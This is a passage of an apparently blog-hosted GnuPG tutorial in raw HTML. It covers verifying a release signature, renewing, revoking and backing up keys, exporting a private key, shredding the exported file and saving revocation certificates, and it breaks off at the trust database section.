&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: Good signature from &lt;span style="color:#e6db74"&gt;&amp;#34;Jim Jagielski (Release Signing Key) &amp;lt;jim@apache.org&amp;gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;unknown&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: aka &lt;span style="color:#e6db74"&gt;&amp;#34;Jim Jagielski &amp;lt;jim@jaguNET.com&amp;gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;unknown&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: aka &lt;span style="color:#e6db74"&gt;&amp;#34;Jim Jagielski &amp;lt;jim@jimjag.com&amp;gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;unknown&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: aka &lt;span style="color:#e6db74"&gt;&amp;#34;Jim Jagielski &amp;lt;jimjag@gmail.com&amp;gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;unknown&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: WARNING: This key is not certified with a trusted signature!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: There is no indication that the signature belongs to the owner.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Primary key fingerprint: A93D 62EC C3C8 EA12 DB22 0EC9 34EA 76E6 &lt;span style="color:#ae81ff"&gt;7914&lt;/span&gt; 85A8
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;where the first argument of the &lt;code&gt;--verify&lt;/code&gt; option is the &lt;strong&gt;signature file&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Or we can verify all downloaded files using the compressed &lt;code&gt;download&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --verify Apache_OpenOffice_4.1.10_Linux_x86-64_langpack-deb_en-US.tar.gz.asc download
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: Signature made Τρι &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; Απρ &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt; 02:06:57 μμ EEST
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: using RSA key A93D62ECC3C8EA12DB220EC934EA76E6791485A8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: Good signature from &lt;span style="color:#e6db74"&gt;&amp;#34;Jim Jagielski (Release Signing Key) &amp;lt;jim@apache.org&amp;gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;unknown&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: aka &lt;span style="color:#e6db74"&gt;&amp;#34;Jim Jagielski &amp;lt;jim@jaguNET.com&amp;gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;unknown&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: aka &lt;span style="color:#e6db74"&gt;&amp;#34;Jim Jagielski &amp;lt;jim@jimjag.com&amp;gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;unknown&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: aka &lt;span style="color:#e6db74"&gt;&amp;#34;Jim Jagielski &amp;lt;jimjag@gmail.com&amp;gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;unknown&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: WARNING: This key is not certified with a trusted signature!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: There is no indication that the signature belongs to the owner.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Primary key fingerprint: A93D 62EC C3C8 EA12 DB22 0EC9 34EA 76E6 &lt;span style="color:#ae81ff"&gt;7914&lt;/span&gt; 85A8
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The first argument of the &lt;code&gt;--verify&lt;/code&gt; option is the &lt;strong&gt;signature file&lt;/strong&gt; and the remaining arguments are the &lt;strong&gt;files that contain the signed data&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If we see the &lt;strong&gt;&lt;code&gt;Good signature from&lt;/code&gt; &amp;hellip;&lt;/strong&gt; message then the software is legit.&lt;/p&gt;
&lt;h2 id="renew-expired-gpg-key-pair"&gt;
Renew Expired GPG key pair
&lt;a href="#renew-expired-gpg-key-pair" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;You can list the keys in order to see when they expires:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --list-keys
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pub rsa3072 2021-07-09 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;SC&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uid Your Name &amp;lt;your.email@example.com&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sub rsa3072 2021-07-09 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;E&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;expires: 2021-10-25&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It is advised to set an expiration date on your keys in order for them to become invalid after some time, if they become lost or forgotten.&lt;/p&gt;
&lt;p&gt;If your GPG key pair gets expired, you can renew it with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --edit-key user-id
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;where &lt;code&gt;user-id&lt;/code&gt; is the &lt;code&gt;uid&lt;/code&gt; of the key you want to create a certificate for (usually the email address).&lt;/p&gt;
&lt;p&gt;A prompt will be shown and you should enter the &lt;code&gt;expire&lt;/code&gt; command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; expire
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now you will be prompted to enter a new expiration date, as well as the passphrase for your secret key, which will be used to sign the new expiration date. You should enter the amount you want, usually &lt;code&gt;1y&lt;/code&gt; for one year:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg&amp;gt; expire
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Changing expiration time &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; the primary key.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Please specify how long the key should be valid.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; key does not expire
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;n&amp;gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; key expires in n days
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;n&amp;gt;w &lt;span style="color:#f92672"&gt;=&lt;/span&gt; key expires in n weeks
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;n&amp;gt;m &lt;span style="color:#f92672"&gt;=&lt;/span&gt; key expires in n months
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;n&amp;gt;y &lt;span style="color:#f92672"&gt;=&lt;/span&gt; key expires in n years
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Key is valid &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt;? &lt;span style="color:#f92672"&gt;(&lt;/span&gt;0&lt;span style="color:#f92672"&gt;)&lt;/span&gt; 1y
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Is this correct? &lt;span style="color:#f92672"&gt;(&lt;/span&gt;y/N&lt;span style="color:#f92672"&gt;)&lt;/span&gt; y
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then you can update the expiration date for the subkeys you have (&lt;code&gt;key 1&lt;/code&gt;, &lt;code&gt;key 2&lt;/code&gt;, &amp;hellip;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; key &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; expire
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Changing expiration time &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; a subkey.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Please specify how long the key should be valid.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; key does not expire
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;n&amp;gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; key expires in n days
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;n&amp;gt;w &lt;span style="color:#f92672"&gt;=&lt;/span&gt; key expires in n weeks
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;n&amp;gt;m &lt;span style="color:#f92672"&gt;=&lt;/span&gt; key expires in n months
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;n&amp;gt;y &lt;span style="color:#f92672"&gt;=&lt;/span&gt; key expires in n years
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Key is valid &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt;? &lt;span style="color:#f92672"&gt;(&lt;/span&gt;0&lt;span style="color:#f92672"&gt;)&lt;/span&gt; 1y
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Is this correct? &lt;span style="color:#f92672"&gt;(&lt;/span&gt;y/N&lt;span style="color:#f92672"&gt;)&lt;/span&gt; y
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then you can quit and save the changes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg&amp;gt; quit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg&amp;gt; Save changes? &lt;span style="color:#f92672"&gt;(&lt;/span&gt;y/N&lt;span style="color:#f92672"&gt;)&lt;/span&gt; y
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="revoke-gpg-key-pair"&gt;
Revoke GPG key pair
&lt;a href="#revoke-gpg-key-pair" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;If your key ever becomes stolen, lost or compromised, you should use the Revocation Certificate in order to revoke the key and make it invalid.&lt;/p&gt;
&lt;p&gt;First, find the key you want to revoke:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --list-keys
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pub rsa3072 2021-07-09 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;SC&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uid Your Name &amp;lt;your.email@example.com&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sub rsa3072 2021-07-09 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;E&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Suppose the &lt;code&gt;XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX&lt;/code&gt; is the &lt;code&gt;key-ID&lt;/code&gt; for the key you want to revoke.&lt;/p&gt;
&lt;p&gt;We can revoke it with the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --output revoke.asc --gen-revoke key-ID
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;where &lt;code&gt;revoke.asc&lt;/code&gt; is the Revocation Certificate, usually stored in &lt;code&gt;~/.gnupg/openpgp-revocs.d/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After that, we need to import the Revocation Certificate in the keyring:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --import revoke.asc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and now the key is successfully revoked.&lt;/p&gt;
&lt;h3 id="revoke-gpg-key-pair-on-keyserver"&gt;
Revoke GPG key pair on Keyserver
&lt;a href="#revoke-gpg-key-pair-on-keyserver" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;If we have upload our key in a Keyserver, we need to revoke it there also. Suppose the Keyserver is &lt;a href="https://pgp.mit.edu"&gt;pgp.mit.edu&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We can first search our key in the Keyserver:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --keyserver pgp.mit.edu --search-keys key-ID
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can revoke it, by uploading the revoked key we have in our keyring:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --keyserver pgp.mit.edu --send-keys key-ID
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, although the old key is not gonna be deleted from the Keyserver, the revoked key is also uploaded and sets the old key invalid.&lt;/p&gt;
&lt;h2 id="backup-gpg"&gt;
Backup GPG
&lt;a href="#backup-gpg" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;You can backup your GPG keys using mainly two methods:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Backing up the whole &lt;code&gt;~/.gnupg&lt;/code&gt; directory.&lt;/li&gt;
&lt;li&gt;Backing up only the needed files:
&lt;ul&gt;
&lt;li&gt;The Public and Private Key (&lt;code&gt;gpg --export-secret-keys&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The Revocation Certificate (&lt;code&gt;~/.gnupg/openpgp-revocs.d/&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The Trust Database - Ownership (&lt;code&gt;gpg --export-ownertrust&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The Public Keyring (&lt;code&gt;gpg --export&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="backup-gpg-directory"&gt;
Backup GPG Directory
&lt;a href="#backup-gpg-directory" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The first option is to backup the whole &lt;code&gt;~/.gnupg&lt;/code&gt; directory. The Private Keys are stored encrypted in this directory, so they are not easily visible by anyone.&lt;/p&gt;
&lt;p&gt;Backup &lt;code&gt;~/.gnupg&lt;/code&gt; to a different directory or device:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cp ~/.gnupg /path/to/safe/directory
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then if you want to restore this directory, in a new computer for example, you will have to transfer it back at the &lt;code&gt;~/.gnupg&lt;/code&gt; location:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cp /path/to/safe/directory/.gnupg ~/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And to fix any ownership issues, change the ownership to your user on the new computer:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ sudo chown -R $USER:$USER ~/.gnupg
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="export-gpg-private-key-ascii-armored"&gt;
Export GPG Private Key (ASCII Armored)
&lt;a href="#export-gpg-private-key-ascii-armored" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;In order to save only the Private Key somewhere safe, either at an offline storage medium or even to print it, you can use &lt;code&gt;--export-secret-keys&lt;/code&gt; option, and add the &lt;code&gt;--armor&lt;/code&gt; option to, in order to create an ASCII version of the key that is not binary and readable:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --export-secret-keys --armor --output privatekey.asc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It will ask for your passphrase to complete this operation. After that, the Private Key is saved in &lt;code&gt;privatekey.asc&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You can now save it in another directory or device:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cp privatekey.asc /path/to/safe/directory
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Although the exported Private Key is encrypted with your passphrase, be very carefull with this file, as if it gets compromised and brute-forced, anyone can impersonate you and read all your encrypted files and emails.&lt;/p&gt;
&lt;h3 id="import-gpg-private-key"&gt;
Import GPG Private Key
&lt;a href="#import-gpg-private-key" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To import the backed up Private Key:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --import privatekey.asc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You must enter your passphrase to complete the import.&lt;/p&gt;
&lt;h3 id="delete-private-key-shred"&gt;
Delete Private Key (Shred)
&lt;a href="#delete-private-key-shred" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;If you want to delete the Private Key file you created, you can use the &lt;code&gt;shred&lt;/code&gt; utility to delete the file permanently and make it harder to be recovered by overwriting it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ shred -zuv privatekey.asc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;shred&lt;/code&gt; options, do the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;z&lt;/code&gt;: add a final overwrite with zeros to hide shredding&lt;/li&gt;
&lt;li&gt;&lt;code&gt;u&lt;/code&gt;: de-allocate and remove file after overwriting&lt;/li&gt;
&lt;li&gt;&lt;code&gt;v&lt;/code&gt;: show progress&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="export-gpg-revocation-certificate"&gt;
Export GPG Revocation Certificate
&lt;a href="#export-gpg-revocation-certificate" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The Revocation Certificate is automatically generated for each generated key. Their default location is under &lt;code&gt;~/.gnupg/openpgp-revocs.d/&lt;/code&gt;, where the filename of the certificate is the fingerprint of the key it will revoke.&lt;/p&gt;
&lt;p&gt;You can also generate manually a Revocation Certificate for a key pair:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --gen-revoke --armor --output revcert.asc user-id
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;where &lt;code&gt;user-id&lt;/code&gt; is the &lt;code&gt;uid&lt;/code&gt; of the key you want to create a certificate for (usually the email address).&lt;/p&gt;
&lt;p&gt;You can now save it in another directory or device:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cp revcert.asc /path/to/safe/directory
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;or for the automatically generated ones:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cp ~/.gnupg/openpgp-revocs.d /path/to/safe/directory
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The certificate is used to revoke a key if it ever gets lost or compromised. It is useful to backup it, because you can use it, if you no longer have access to your secret key, and therefore not be able to generate another certificate.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; It is important to keep the backup of the certificates in a safe place (an offline device), because if the revocation certificate is used, the action cannot be undone and your key is no longer valid. &lt;em&gt;You must protect the certificate the same way you protect your secret key.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="export-gpg-trust-database"&gt;
Export GPG Trust Database
&lt;a href="#export-gpg-trust-database" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The GPG Trust Database is used to keep the trust values for each of the Public Keys you have. If you want to keep the trust values, you have to backup the Trust Database. It is located at &lt;code&gt;~/.gnupg/trustdb.gpg&lt;/code&gt;, but as the manual says:&lt;/p&gt;
&lt;blockquote&gt;
